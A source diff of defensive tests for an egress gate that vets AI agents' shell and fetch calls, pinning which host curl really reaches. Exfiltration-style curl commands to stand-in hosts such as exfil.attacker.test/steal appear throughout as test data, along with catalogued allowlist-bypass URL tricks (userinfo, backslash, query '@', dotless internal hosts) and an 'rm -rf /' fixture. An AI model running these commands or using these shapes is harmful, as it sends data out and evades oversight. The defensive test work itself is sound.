raw_command: "curl https://a@b:c@exfil.attacker.test/steal" }), + ), + ).toEqual({ destination: AMBIGUOUS }); + }); + + it("refuses a userinfo-bearing authority with no path at all", () => { + expect( + annotateEgressDestination("egress", {}, preliminary({ name: "Bash", args: {}, raw_command: "curl https://u:p@exfil.attacker.test" })), + ).toEqual({ destination: AMBIGUOUS }); + }); + + // THE SHAPE THAT MADE REFUSING NECESSARY, AND THE FIRST ONE THIS MODULE EVER + // ANSWERED AN ALLOWLISTED HOST FOR. WHATWG treats "\" as "/" in a special + // scheme, so the authority ends at the backslash and a parse answers + // `https://docs.anthropic.com` -- which `*.anthropic.com` covers. curl does + // not treat "\" as a delimiter, and an unquoted shell removes it before curl + // sees the argument at all, so curl reaches `evil.test` (measured; it is a + // pinned row of the corpus at the bottom of this file). No delimiter rule + // reconciles those, so the authority is refused instead. + it("refuses an authority a backslash would let a parse cut short", () => { + expect( + annotateEgressDestination( + "egress", + {}, + preliminary({ name: "Bash", args: {}, raw_command: String.raw`curl https://docs.anthropic.com\@evil.test/steal` }), + ), + ).toEqual({ destination: AMBIGUOUS }); + }); + + it("refuses the backslash shape for a second allowlisted name, so the rule is not one host's", () => { + expect( + annotateEgressDestination( + "egress", + {}, + preliminary({ name: "Bash", args: {}, raw_command: String.raw`curl https://docs.example.com\@exfil.attacker.test/steal` }), + ), + ).toEqual({ destination: AMBIGUOUS }); + }); + + // OVER-BLOCK, ASSERTED SO IT IS A DECISION RATHER THAN A SURPRISE. curl + // resolves this to `docs.anthropic.com`, which the allowlist covers, so this + // command denies where it need not. A percent-escape is decoded inside a host + // by a WHATWG parse and not by the gate's splits, which is the disagreement + // this refuses to arbitrate. Failing this direction is the choice. + it("refuses a percent-escaped authority, over-blocking a host curl would reach", () => { + expect( + annotateEgressDestination("egress", {}, preliminary({ name: "Bash", args: {}, raw_command: "curl https://docs.anthropic%2ecom/x" })), + ).toEqual({ destination: AMBIGUOUS }); + }); + + // An "@" inside a path is not a userinfo, and answering the text after it + // would name a host the request never reaches. + it("does not read an @ inside the path as a userinfo", () => { + expect( + annotateEgressDestination( + "egress", + {}, + preliminary({ name: "Bash", args: {}, raw_command: "curl https://exfil.attacker.test/mail@docs.anthropic.com" }), + ), + ).toEqual({ destination: "https://exfil.attacker.test" }); + }); + + // Nor is an "@" inside a query or a fragment: an authority ends at the first + // of "/", "?" or "#". Both of these were ALLOWED -- measured through a live + // Guardian -- by an earlier normalisation that bounded the authority at "/" + // alone and so answered `https://docs.anthropic.com`. + it("does not read an @ inside the query as a userinfo", () => { + expect( + annotateEgressDestination( + "egress", + {}, + preliminary({ name: "Bash", args: {}, raw_command: "curl https://evil.test?x=a@docs.anthropic.com" }), + ), + ).toEqual({ destination: "https://evil.test" }); + }); + + it("does not read an @ inside the fragment as a userinfo", () => { + expect( + annotateEgressDestination( + "egress", + {}, + preliminary({ name: "Bash", args: {}, raw_command: "curl https://evil.test#a@docs.anthropic.com" }), + ), + ).toEqual({ destination: "https://evil.test" }); + }); + + it("refuses a userinfo that sits genuinely ahead of the query, like any other userinfo", () => { + expect( + annotateEgressDestination( + "egress", + {}, + preliminary({ name: "Bash", args: {}, raw_command: "curl https://docs.anthropic.com:pw@exfil.attacker.test?x=1" }), + ), + ).toEqual({ destination: AMBIGUOUS }); + }); + + // THE SHAPE THAT NEEDS NO USERINFO AND NO "@" SEMANTICS AT ALL, and the one + // that makes the rest of this block matter. The allowlist glob's "*" spans a + // single dot-delimited segment, so a "host" of `metadata?x=@docs` `anthropic` + // `com` matches `*.anthropic.com` -- but only while the real host carries no + // dot. Dotless names are internal ones, which is the class an egress gate is + // deployed for. Measured: all three were ALLOWED, and curl reaches + // `metadata`, `internal-api` and `evil` respectively. + for (const host of ["metadata", "internal-api", "evil"]) { + it(`answers the dotless host "${host}" rather than the allowlisted name trailing its query`, () => { + expect( + annotateEgressDestination( + "egress", + {}, + preliminary({ name: "Bash", args: {}, raw_command: `curl https://${host}?x=@docs.anthropic.com` }), + ), + ).toEqual({ destination: `https://${host}` }); + }); + } + + it("answers a dotless host whose fragment trails an allowlisted name", () => { + expect( + annotateEgressDestination("egress", {}, preliminary({ name: "Bash", args: {}, raw_command: "curl https://internal-api#@docs.anthropic.com" })), + ).toEqual({ destination: "https://internal-api" }); + }); + + // The port is part of an origin and stays on it. The gate splits it off + // itself before matching, so keeping it changes no verdict -- asserted here + // so that "the origin carries the port" is a fact this file records rather + // than one the next reader has to look up. + it("keeps the port, which is part of an origin", () => { + expect( + annotateEgressDestination("egress", {}, preliminary({ name: "Bash", args: {}, raw_command: "curl https://exfil.attacker.test:8443/steal" })), + ).toEqual({ destination: "https://exfil.attacker.test:8443" }); + }); + + // A URL parse lowercases the host. The allowlist glob is case-sensitive, so + // this is a change in the PERMISSIVE direction and is asserted rather than + // left to be discovered: the same command denied before the parse replaced + // the hand-rolled normalisation. It is correct -- DNS is case-insensitive and + // the request reaches the allowlisted host either way -- and the two rows + // below are what stop that correctness being read as "case no longer + // matters". + it("lowercases the host, because DNS does", () => { + expect( + annotateEgressDestination("egress", {}, preliminary({ name: "Bash", args: {}, raw_command: "curl https://DOCS.ANTHROPIC.COM/x" })), + ).toEqual({ destination: "https://docs.anthropic.com" }); + }); + + it("lowercasing does not make an off-allowlist host allowlisted", () => { + expect( + annotateEgressDestination("egress", {}, preliminary({ name: "Bash", args: {}, raw_command: "curl https://EVIL.TEST/x" })), + ).toEqual({ destination: "https://evil.test" }); + }); + + it("answers the real host for a suffix that merely starts with an allowlisted name", () => { + expect( + annotateEgressDestination("egress", {}, preliminary({ name: "Bash", args: {}, raw_command: "curl https://docs.anthropic.com.evil.test/x" })), + ).toEqual({ destination: "https://docs.anthropic.com.evil.test" }); + }); + + // The stated miss direction, asserted rather than left implicit: the stock + // gate is `undefined` when no destination resolves, so the call falls + // through to the other gates. A command this cannot parse is unexamined, not + // denied. + it("answers no destination for a command carrying none, rather than failing", () => { + expect(annotateEgressDestination("egress", {}, preliminary({ name: "Bash", args: {}, raw_command: "echo hi" }))).toEqual({}); + }); + + it("answers no destination when the snapshot carries an empty raw command", () => { + expect(annotateEgressDestination("egress", {}, preliminary({ name: "WebFetch", args: { url: "x" }, raw_command: "" }))).toEqual({}); + }); + + it("answers no destination when the snapshot carries no raw command at all", () => { + expect(annotateEgressDestination("egress", {}, preliminary({ name: "Bash", args: {} }))).toEqual({}); + }); + + // A scheme is not enough to make a URL parseable, and the parse must not be + // allowed to throw: AGT turns any annotator failure into + // `runtime_error:annotation_failed`, which denies every call in the + // deployment. But a match the parser rejects is still a URL somebody wrote, + // so it gets the sentinel, not silence -- silence here would be an allow. + it("refuses a matched text with a scheme but no host", () => { + expect(annotateEgressDestination("egress", {}, preliminary({ name: "Bash", args: {}, raw_command: "curl https://:1" }))).toEqual({ + destination: AMBIGUOUS, + }); + }); + + // The unambiguous-authority test does not make the parse infallible, and this + // is the measured case that proves the `catch` is reachable rather than + // decorative: the shape is host-then-numeric-port, which the test admits, + // and `new URL` still throws because the port is out of range. + it("refuses a matched text whose shape is fine but whose port is out of range", () => { + expect( + annotateEgressDestination("egress", {}, preliminary({ name: "Bash", args: {}, raw_command: "curl https://exfil.test:99999999999/x" })), + ).toEqual({ destination: AMBIGUOUS }); + }); + + // The other half of inverting the default: refusing is not free, so the + // shapes that must keep working are asserted as a set rather than one at a + // time. If any of these answered the sentinel, the demo's benign steps would + // start denying. + for (const command of MUST_STAY_ALLOWED) { + it(`answers a real origin, not the sentinel, for "${command}"`, () => { + const answered = annotateEgressDestination("egress", {}, preliminary({ name: "Bash", args: {}, raw_command: command })) as { + destination?: string; + }; + expect(answered.destination).not.toBe(AMBIGUOUS); + expect(answered.destination).toMatch(/^https:\/\/(docs\.anthropic\.com|docs\.example\.com)$/); + }); + } +}); + +describe("standing down when the snapshot already carries a destination", () => { + // Two of the stock gate's destination paths resolving to different strings + // is not a priority order -- it is a complete-rule conflict, measured as + // deny runtime_error:policy_invocation_failed. So an argument AGT already + // reads wins, and this function contributes nothing. + for (const argument of ["url", "endpoint", "host", "domain"]) { + it(`contributes nothing when the tool sent its own "${argument}"`, () => { + expect( + annotateEgressDestination( + "egress", + {}, + preliminary({ name: "SomeTool", args: { [argument]: "https://docs.anthropic.com/a" }, raw_command: "curl https://exfil.test/b" }), + ), + ).toEqual({}); + }); + } + + it("still reads the raw command when the tool's own destination argument is not a string", () => { + expect( + annotateEgressDestination( + "egress", + {}, + preliminary({ name: "SomeTool", args: { url: null }, raw_command: "curl https://exfil.test/b" }), + ), + ).toEqual({ destination: "https://exfil.test" }); + }); +}); + +/** + * THE DURABLE GUARD, AND THE REASON IT IS NOT ANOTHER LIST OF CASES. + * + * Four rounds of fixing this module each added assertions for the shape that + * round was shown, and each missed the next one. The shapes had nothing in + * common except that a parse of the command line disagreed with what `curl` + * would actually reach. So this block asserts that disagreement directly, + * against measurements taken from `curl` itself rather than from anybody's + * reading of a specification. + * + * The pinned hosts in `fixtures/curl-resolved-hosts.json` come from + * `curl -s -o /dev/null --proxy http://127.0.0.1:1 -w '%{url.host}' ` -- + * a proxy port nothing listens on, so it is curl's own parse and no request + * leaves the machine. `scripts/regenerate-curl-resolved-hosts.sh` re-measures + * them; add a command line to that file and re-run it to extend the corpus. + * + * THE RULE. For every command in the corpus, the annotator must answer either + * the host `curl` resolves (compared case-insensitively, because DNS is and a + * URL parse lowercases where curl does not) or the sentinel. The sentinel is an + * acceptable answer; a host that is not curl's -- and above all an allowlisted + * host when curl's is off-allowlist -- is not. Refusing to decide is always + * available and always safe here; deciding wrongly is the bug this corpus + * exists to catch. + * + * WHAT STOPS "ALWAYS ANSWER THE SENTINEL" FROM PASSING. Not this block -- + * `MUST_STAY_ALLOWED` above, which pins the four shapes that have to keep + * resolving to a real allowlisted origin. Both halves are needed and neither + * implies the other. + */ +const curlResolvedHosts = (await Bun.file(`${import.meta.dir}/fixtures/curl-resolved-hosts.json`).json()) as Record; + +describe("agreeing with curl about which host a command reaches, or refusing to answer", () => { + it("has a corpus to check, so an emptied fixture cannot pass silently", () => { + expect(Object.keys(curlResolvedHosts).length).toBeGreaterThanOrEqual(18); + }); + + for (const [command, curlHost] of Object.entries(curlResolvedHosts)) { + it(`answers curl's host or refuses, for "${command}"`, () => { + const answered = annotateEgressDestination("egress", {}, preliminary({ name: "Bash", args: {}, raw_command: command })) as { + destination?: string; + }; + + // Every corpus command carries a URL, so `{}` is never right for one: + // with no destination the gate resolves nothing, is undefined, and the + // call ALLOWS. Silence is the one answer this corpus rules out. + expect(typeof answered.destination).toBe("string"); + + if (answered.destination === AMBIGUOUS) return; + + expect(new URL(answered.destination as string).hostname.toLowerCase()).toBe(curlHost.toLowerCase()); + }); + } +}); + +describe("total, whatever it is handed", () => { + // A throw here is not an error report: AGT turns any annotator failure into + // its own runtime_error:annotation_failed deny, which lands on every call in + // the deployment and reads like a policy decision. + it("never throws and never answers null", () => { + for (const input of [undefined, null, 42, "a string", {}, { snapshot: null }, { snapshot: { tool_call: 7 } }]) { + expect(() => annotateEgressDestination("egress", {}, input)).not.toThrow(); + expect(annotateEgressDestination("egress", {}, input)).toEqual({}); + } + }); +}); diff --git a/packages/guardian/test/assemble-snapshot.test.ts b/packages/guardian/test/assemble-snapshot.test.ts index f07fa3b4..976760c2 100644 --- a/packages/guardian/test/assemble-snapshot.test.ts +++ b/packages/guardian/test/assemble-snapshot.test.ts @@ -1,8 +1,9 @@ import { describe, expect, it } from "bun:test"; -import { createBridge } from "agt-bridge"; +import { createDeploymentBridge } from "../src/deployment-bridge.ts"; import { assemblePostToolCallSnapshot, assemblePreToolCallSnapshot, + POLICY_TARGET_LEAF, type ToolCallRequestEnvelope, type ToolCallResultEnvelope, } from "../src/assemble-snapshot.ts"; @@ -67,10 +68,10 @@ describe("assemblePreToolCallSnapshot", () => { }, }); - const snapshot = assemblePreToolCallSnapshot(envelope, EMPTY_SOURCE_LABELS); + const snapshot = assemblePreToolCallSnapshot(envelope, EMPTY_SOURCE_LABELS, "command"); expect(snapshot.tool_call.name).toBe("run_shell"); - expect(snapshot.tool_call.args).toEqual({ command: "rm -rf /" }); + expect(snapshot.tool_call.args).toEqual({ command: "rm -rf /", [POLICY_TARGET_LEAF]: "rm -rf /" }); }); // AGT's stock pattern check reads input.policy_target.value and @@ -79,7 +80,7 @@ describe("assemblePreToolCallSnapshot", () => { it("keeps tool_call.args.command a STRING, not a nested wrapper or object", () => { const envelope = makeEnvelope({ args: { command: { value: "rm -rf /" } } }); - const snapshot = assemblePreToolCallSnapshot(envelope, EMPTY_SOURCE_LABELS); + const snapshot = assemblePreToolCallSnapshot(envelope, EMPTY_SOURCE_LABELS, "command"); expect(typeof snapshot.tool_call.args.command).toBe("string"); expect(snapshot.tool_call.args.command).toBe("rm -rf /"); @@ -88,7 +89,7 @@ describe("assemblePreToolCallSnapshot", () => { it("always emits envelope.budgets with all four counters zeroed, even though the envelope says nothing about budgets", () => { const envelope = makeEnvelope(); - const snapshot = assemblePreToolCallSnapshot(envelope, EMPTY_SOURCE_LABELS); + const snapshot = assemblePreToolCallSnapshot(envelope, EMPTY_SOURCE_LABELS, "command"); expect(snapshot.envelope).toEqual({ budgets: { tool_call_count: 0, token_count: 0, elapsed_seconds: 0, cost_usd: 0 }, @@ -98,7 +99,7 @@ describe("assemblePreToolCallSnapshot", () => { it("carries params.request_id onto tool_call.id", () => { const envelope = makeEnvelope({ requestId: "2c3e4f50-1234-4abc-9def-000000000000" }); - const snapshot = assemblePreToolCallSnapshot(envelope, EMPTY_SOURCE_LABELS); + const snapshot = assemblePreToolCallSnapshot(envelope, EMPTY_SOURCE_LABELS, "command"); expect(snapshot.tool_call.id).toBe("2c3e4f50-1234-4abc-9def-000000000000"); }); @@ -111,11 +112,11 @@ describe("assemblePreToolCallSnapshot", () => { // No cast: assemblePreToolCallSnapshot returns a named snapshot message now, so what // these read is the type it declares rather than an anonymous dict. - const snapshot = assemblePreToolCallSnapshot(envelope, EMPTY_SOURCE_LABELS); + const snapshot = assemblePreToolCallSnapshot(envelope, EMPTY_SOURCE_LABELS, "command"); expect(Object.keys(snapshot).sort()).toEqual(["envelope", "input", "tool_call"]); expect(Object.keys(snapshot.envelope)).toEqual(["budgets"]); - expect(Object.keys(snapshot.tool_call).sort()).toEqual(["args", "id", "name"]); + expect(Object.keys(snapshot.tool_call).sort()).toEqual(["args", "id", "name", "raw_command"]); const serialized = JSON.stringify(snapshot); for (const forbidden of ["session_id", "session_state", "chain_hash", "agent_id", "metadata", "intent", "1b9d6bcd"]) { @@ -132,11 +133,25 @@ describe("assemblePreToolCallSnapshot", () => { args: { command: { value: "rm -rf /", provenance: { source: "user" } } }, }); - const snapshot = assemblePreToolCallSnapshot(envelope, EMPTY_SOURCE_LABELS); - const bridge = createBridge("policy/manifest.yaml"); + // NOT `EMPTY_SOURCE_LABELS`: IFC deny outranks every other gate + // (policy/lib/agt_default.rego's header), so a zero-label snapshot denies + // on `ifc_clearance_violation` before the pattern rule this test is named + // for ever runs -- and the assertion below would then pass for `echo hi` + // just as readily, leaving the `rm -rf /` fixture decorative. The + // `["public"]` label is what the Guardian's own session seed supplies. + const snapshot = assemblePreToolCallSnapshot(envelope, ["public"], "command"); + // Built the way the deployment builds one, which is the way startGuardian + // does: this bridge stands in for a real Guardian, and a bridge missing + // this deployment's annotator denies every request-gate call on + // runtime_error:annotation_failed -- measured, benign calls included. + const bridge = createDeploymentBridge("policy/manifest.yaml"); const verdict = await bridge.evaluate("pre_tool_call", snapshot); - expect(verdict.decision).toBe("deny"); + // The reason, not the decision alone. Both an annotator-less bridge and an + // unlabelled snapshot also answer `deny` here, so pinning the decision by + // itself would not distinguish the pattern gate firing from evaluation + // failing somewhere above it. + expect(verdict).toMatchObject({ decision: "deny", reason: "destructive_shell_command_blocked" }); }); }); @@ -295,7 +310,7 @@ describe("assemblePostToolCallSnapshot -- the post_tool_call sibling", () => { const snapshot = assemblePostToolCallSnapshot(makeResultEnvelope({ outputs: [] }), EMPTY_SOURCE_LABELS); expect(snapshot.tool_result.outputs).toEqual([]); - const bridge = createBridge("policy/manifest.yaml"); + const bridge = createDeploymentBridge("policy/manifest.yaml"); const verdict = await bridge.evaluate("post_tool_call", snapshot); expect(verdict.decision).toBe("deny"); @@ -319,7 +334,7 @@ describe("assemblePostToolCallSnapshot -- the post_tool_call sibling", () => { // actually about ever runs. it("feeds a secret-bearing output through the real AGT bridge and gets the redaction transform", async () => { const snapshot = assemblePostToolCallSnapshot(makeResultEnvelope(), ["public"]); - const bridge = createBridge("policy/manifest.yaml"); + const bridge = createDeploymentBridge("policy/manifest.yaml"); const verdict = await bridge.evaluate("post_tool_call", snapshot); @@ -338,7 +353,7 @@ const resultEnvelope = (): ToolCallResultEnvelope => makeResultEnvelope(); describe("session state in the snapshot", () => { it("puts source labels where AGT's stock IFC library actually reads them", () => { - const snapshot = assemblePreToolCallSnapshot(requestEnvelope(), ["confidential"]); + const snapshot = assemblePreToolCallSnapshot(requestEnvelope(), ["confidential"], "command"); // policy/lib/agt_ifc.rego: input.snapshot.input.ifc.source_labels. // Its own test pins that input.snapshot.ifc.source_labels reads as []. expect(snapshot.input.ifc.source_labels).toEqual(["confidential"]); @@ -346,7 +361,7 @@ describe("session state in the snapshot", () => { }); it("carries an empty list rather than omitting the member", () => { - const snapshot = assemblePreToolCallSnapshot(requestEnvelope(), EMPTY_SOURCE_LABELS); + const snapshot = assemblePreToolCallSnapshot(requestEnvelope(), EMPTY_SOURCE_LABELS, "command"); expect(snapshot.input.ifc.source_labels).toEqual([]); }); @@ -357,13 +372,13 @@ describe("session state in the snapshot", () => { it("copies the labels, so a snapshot cannot be edited through the caller's array", () => { const labels = ["secret"]; - const snapshot = assemblePreToolCallSnapshot(requestEnvelope(), labels); + const snapshot = assemblePreToolCallSnapshot(requestEnvelope(), labels, "command"); labels.push("public"); expect(snapshot.input.ifc.source_labels).toEqual(["secret"]); }); it("leaves every pre-existing member of both snapshots exactly as it was", () => { - const pre = assemblePreToolCallSnapshot(requestEnvelope(), EMPTY_SOURCE_LABELS); + const pre = assemblePreToolCallSnapshot(requestEnvelope(), EMPTY_SOURCE_LABELS, "command"); // requestEnvelope() is makeEnvelope() under its alias here, and // makeEnvelope()'s own default toolName is "run_shell" (see its // definition above) -- not "Bash", which is resultEnvelope()'s default. @@ -374,3 +389,110 @@ describe("session state in the snapshot", () => { expect((post as Record).tool_call).toEqual({ name: "Bash" }); }); }); + +/** + * A request envelope built from an arbitrary tool name and arguments bag, + * for the leaf/raw-command tests below. Named `toolCallRequestEnvelope` + * rather than `requestEnvelope` -- that name is already bound above, as the + * alias four IFC-label tests use, and this helper answers a different need: + * an arbitrary tool shape rather than always `run_shell`/`command`. + */ +function toolCallRequestEnvelope( + toolName: string, + args: Record, + rawCommand?: string, +): ToolCallRequestEnvelope { + const payload: Record = { + tool: { name: toolName }, + arguments: Object.fromEntries(Object.entries(args).map(([k, v]) => [k, { value: v }])), + }; + if (rawCommand !== undefined) payload.raw_command = rawCommand; + return { + jsonrpc: "2.0", + method: "steps/toolCallRequest", + id: 1, + params: { + acs_version: "0.1.0", + request_id: "11111111-1111-4111-8111-111111111111", + timestamp: "2026-08-18T00:00:00Z", + metadata: { session_id: "22222222-2222-4222-8222-222222222222" }, + payload, + }, + } as unknown as ToolCallRequestEnvelope; +} + +describe("one fixed snapshot leaf, whatever the tool calls its argument", () => { + it("copies the named argument's value to the leaf the manifest targets", () => { + const snapshot = assemblePreToolCallSnapshot( + toolCallRequestEnvelope("WebFetch", { url: "https://docs.anthropic.com/x" }), + ["public"], + "url", + ); + expect(snapshot.tool_call.args[POLICY_TARGET_LEAF]).toBe("https://docs.anthropic.com/x"); + }); + + it("leaves the tool's own argument in place beside it", () => { + const snapshot = assemblePreToolCallSnapshot( + toolCallRequestEnvelope("WebFetch", { url: "https://docs.anthropic.com/x" }), + ["public"], + "url", + ); + expect(snapshot.tool_call.args.url).toBe("https://docs.anthropic.com/x"); + }); + + it("does the same for a shell tool, from the same one declaration", () => { + const snapshot = assemblePreToolCallSnapshot( + toolCallRequestEnvelope("Bash", { command: "echo hi" }), + ["public"], + "command", + ); + expect(snapshot.tool_call.args[POLICY_TARGET_LEAF]).toBe("echo hi"); + }); + + it("refuses a tool that already sends an argument by the leaf's own name, rather than overwriting it", () => { + expect(() => + assemblePreToolCallSnapshot( + toolCallRequestEnvelope("Bash", { command: "echo hi", [POLICY_TARGET_LEAF]: "something the host sent" }), + ["public"], + "command", + ), + ).toThrow(/acs_policy_target/); + }); + + it("refuses a call missing the argument its policy target was declared to live in", () => { + expect(() => + assemblePreToolCallSnapshot(toolCallRequestEnvelope("Bash", { script: "echo hi" }), ["public"], "command"), + ).toThrow(/"command"/); + }); + + it("refuses to assemble at all when the mapping declares no argument for this gate", () => { + expect(() => + assemblePreToolCallSnapshot(toolCallRequestEnvelope("Bash", { command: "echo hi" }), ["public"], undefined), + ).toThrow(/policy_target_argument/); + }); +}); + +describe("the raw command is always on the snapshot, present or empty", () => { + it("carries what the envelope sent", () => { + const snapshot = assemblePreToolCallSnapshot( + toolCallRequestEnvelope("Bash", { command: "curl https://exfil.test/x" }, "curl https://exfil.test/x"), + ["public"], + "command", + ); + expect(snapshot.tool_call.raw_command).toBe("curl https://exfil.test/x"); + }); + + // A manifest-declared annotator's own `from` path must resolve or AGT denies + // the whole call on runtime_error:path_missing before the annotator is ever + // dispatched -- measured, with zero annotator calls. An absent raw_command + // would therefore make every fetch a total deny wearing a runtime-error + // reason. + it("carries an empty string when the envelope sent none", () => { + const snapshot = assemblePreToolCallSnapshot( + toolCallRequestEnvelope("WebFetch", { url: "https://docs.anthropic.com/x" }), + ["public"], + "url", + ); + expect(snapshot.tool_call.raw_command).toBe(""); + }); +}); diff --git a/packages/guardian/test/fixtures/curl-resolved-hosts.json b/packages/guardian/test/fixtures/curl-resolved-hosts.json new file mode 100644 index 00000000..c6296d4c --- /dev/null +++ b/packages/guardian/test/fixtures/curl-resolved-hosts.json @@ -0,0 +1,20 @@ +{ + "curl https://exfil.attacker.test/steal": "exfil.attacker.test", + "curl https://docs.anthropic.com@exfil.attacker.test/steal": "exfil.attacker.test", + "curl https://docs.anthropic.com:pw@exfil.attacker.test/steal": "exfil.attacker.test", + "curl https://evil.test?x=a@docs.anthropic.com": "evil.test", + "curl https://evil.test#a@docs.anthropic.com": "evil.test", + "curl https://metadata?x=@docs.anthropic.com": "metadata", + "curl https://internal-api#@docs.anthropic.com": "internal-api", + "curl https://evil?x=@docs.anthropic.com": "evil", + "curl https://docs.anthropic.com\\@evil.test/steal": "evil.test", + "curl https://docs.example.com\\@exfil.attacker.test/steal": "exfil.attacker.test", + "curl https://docs.anthropic%2ecom/x": "docs.anthropic.com", + "curl https://EVIL.TEST/x": "EVIL.TEST", + "curl https://docs.anthropic.com.evil.test/x": "docs.anthropic.com.evil.test", + "curl https://evil.test:8443/x": "evil.test", + "curl https://docs.anthropic.com/x": "docs.anthropic.com", + "curl https://DOCS.ANTHROPIC.COM/x": "DOCS.ANTHROPIC.COM", + "curl https://docs.anthropic.com:443/x": "docs.anthropic.com", + "curl https://docs.example.com/y": "docs.example.com" +} diff --git a/packages/guardian/test/fixtures/mapping.tool-call-at-a-different-point.yaml b/packages/guardian/test/fixtures/mapping.tool-call-at-a-different-point.yaml index 5ffef310..ada19135 100644 --- a/packages/guardian/test/fixtures/mapping.tool-call-at-a-different-point.yaml +++ b/packages/guardian/test/fixtures/mapping.tool-call-at-a-different-point.yaml @@ -17,11 +17,18 @@ # closed with `runtime_error:intervention_point_unknown`, while ignoring it # would evaluate pre_tool_call and allow a benign command. The two outcomes are # opposite, so the assertion cannot pass both ways. +# +# `output`'s own `policy_target_argument` is here so the request gate's +# assembler has an argument to copy and reaches bridge.evaluate at all: the +# Guardian resolves this row's argument before assembling now, and a row with +# no table would be refused on this side before AGT ever saw the point -- +# which would prove the resolver ran, but not the fact this fixture exists to +# pin, that AGT itself is what rejects an unregistered intervention point. acs_version: "0.1.0" agt_version: "0.3.1-beta" intervention_points: - output: { acs_method: "steps/toolCallRequest" } + output: { acs_method: "steps/toolCallRequest", policy_target_argument: { default: command } } post_tool_call: { acs_method: "steps/toolCallResult" } agent_startup: { acs_method: "steps/sessionStart" } agent_shutdown: { acs_method: "steps/sessionEnd" } diff --git a/packages/guardian/test/map-verdict.test.ts b/packages/guardian/test/map-verdict.test.ts index cbf0c22f..2c60d84d 100644 --- a/packages/guardian/test/map-verdict.test.ts +++ b/packages/guardian/test/map-verdict.test.ts @@ -1,11 +1,18 @@ import { describe, expect, it } from "bun:test"; -import { loadMapping, mapVerdict, resolveInterventionPoint, type Mapping } from "../src/map-verdict.ts"; +import type { AgtVerdict } from "agt-bridge"; +import { + loadMapping, + mapVerdict, + resolveInterventionPoint, + resolvePolicyTargetArgument, + type Mapping, +} from "../src/map-verdict.ts"; const m = loadMapping("mapping.yaml"); describe("mapVerdict", () => { it("maps allow to allow", () => { - expect(mapVerdict({ decision: "allow" }, m, "pre_tool_call").decision).toBe("allow"); + expect(mapVerdict({ decision: "allow" }, m, "pre_tool_call", "command").decision).toBe("allow"); }); it("maps deny, carrying reason and message into ACS fields", () => { @@ -13,6 +20,7 @@ describe("mapVerdict", () => { { decision: "deny", reason: "destructive_shell_command_blocked", message: "matched pattern X at offset 5" }, m, "pre_tool_call", + "command", ); expect(d.decision).toBe("deny"); expect(d.reason_codes).toEqual(["destructive_shell_command_blocked"]); @@ -25,6 +33,7 @@ describe("mapVerdict", () => { { decision: "warn", reason: "drift_detected", message: "drift 0.8" }, m, "pre_tool_call", + "command", ); expect(d.decision).toBe("allow"); expect(d.policy_references?.length).toBeGreaterThan(0); @@ -32,17 +41,18 @@ describe("mapVerdict", () => { }); it("distinguishes warn-allow from clean allow by policy_references", () => { - expect(mapVerdict({ decision: "allow" }, m, "pre_tool_call").policy_references ?? []).toHaveLength(0); + expect(mapVerdict({ decision: "allow" }, m, "pre_tool_call", "command").policy_references ?? []).toHaveLength(0); }); it("maps escalate to ask and transform to modify", () => { - expect(mapVerdict({ decision: "escalate", reason: "approval_required" }, m, "pre_tool_call").decision) + expect(mapVerdict({ decision: "escalate", reason: "approval_required" }, m, "pre_tool_call", "command").decision) .toBe("ask"); expect( mapVerdict( { decision: "transform", reason: "redacted", transform: { path: "$policy_target", value: "x" } }, m, "pre_tool_call", + "command", ).decision, ).toBe("modify"); }); @@ -56,7 +66,7 @@ describe("mapVerdict", () => { dec === "transform" ? { decision: dec, reason: "r", transform: { path: "$policy_target", value: "x" } } : { decision: dec, reason: "r" }; - const out = mapVerdict(verdict, m, "pre_tool_call").decision; + const out = mapVerdict(verdict, m, "pre_tool_call", "command").decision; expect(out.toLowerCase()).toBe(out); } }); @@ -67,7 +77,7 @@ describe("mapVerdict", () => { // evaluation-failure catch (server.test.ts) has to survive without turning // it into an HTML 500 or a silent decision. it("throws when require_policy_references is set but verdict.reason is empty", () => { - expect(() => mapVerdict({ decision: "warn" }, m, "pre_tool_call")).toThrow(/require_policy_references/); + expect(() => mapVerdict({ decision: "warn" }, m, "pre_tool_call", "command")).toThrow(/require_policy_references/); }); // Confirms mapVerdict reads `field_synthesis.reason_codes.wrap` from the @@ -75,7 +85,7 @@ describe("mapVerdict", () => { // the table changes behaviour. describe("field_synthesis.reason_codes.wrap is read, not assumed", () => { it("wraps per the declared mode, on the shipped mapping", () => { - expect(mapVerdict({ decision: "deny", reason: "r" }, m, "pre_tool_call").reason_codes).toEqual(["r"]); + expect(mapVerdict({ decision: "deny", reason: "r" }, m, "pre_tool_call", "command").reason_codes).toEqual(["r"]); }); it("throws for a wrap mode this mapping cannot express, rather than array-wrapping anyway", () => { @@ -88,7 +98,7 @@ describe("mapVerdict", () => { field_synthesis: { ...m.field_synthesis, reason_codes: { source: "verdict.reason", wrap: "csv" } }, } as unknown as Mapping; - expect(() => mapVerdict({ decision: "deny", reason: "r" }, unknownMode, "pre_tool_call")).toThrow( + expect(() => mapVerdict({ decision: "deny", reason: "r" }, unknownMode, "pre_tool_call", "command")).toThrow( /field_synthesis\.reason_codes\.wrap as "csv"/, ); }); @@ -110,6 +120,7 @@ describe("mapVerdict", () => { }, m, "pre_tool_call", + "command", ); expect(d.reasoning).toBe( "This command was blocked because it matches a destructive-shell-command pattern. " + @@ -127,11 +138,11 @@ describe("mapVerdict", () => { reason: "redaction_applied", transform: { path: "$policy_target", value: "echo [REDACTED]" }, }; - expect(mapVerdict(verdict, m, "pre_tool_call").reasoning).toBe( - "A secret in this command was replaced before it ran. " + + expect(mapVerdict(verdict, m, "pre_tool_call", "command").reasoning).toBe( + "A secret in this step's arguments was replaced before it ran. " + "Policy: redaction_applied, from AGT's stock bundle (agt_stock).", ); - expect(mapVerdict(verdict, m, "post_tool_call").reasoning).toBe( + expect(mapVerdict(verdict, m, "post_tool_call", undefined).reasoning).toBe( "Secrets in this output were replaced before the model saw them. " + "Policy: redaction_applied, from AGT's stock bundle (agt_stock).", ); @@ -146,6 +157,7 @@ describe("mapVerdict", () => { { decision: "deny", reason: "some_future_agt_rule", message: "whatever AGT said" }, m, "pre_tool_call", + "command", ); expect(d.reasoning).toBe( "This step was decided by AGT's stock policy bundle. " + @@ -154,7 +166,7 @@ describe("mapVerdict", () => { }); it("omits the detail clause when AGT supplied no message", () => { - const d = mapVerdict({ decision: "escalate", reason: "approval_required" }, m, "pre_tool_call"); + const d = mapVerdict({ decision: "escalate", reason: "approval_required" }, m, "pre_tool_call", "command"); expect(d.reasoning).toBe( "This step needs human approval before it can run. " + "Policy: approval_required, from AGT's stock bundle (agt_stock).", @@ -165,7 +177,7 @@ describe("mapVerdict", () => { // sentence for it would put reasoning on the one 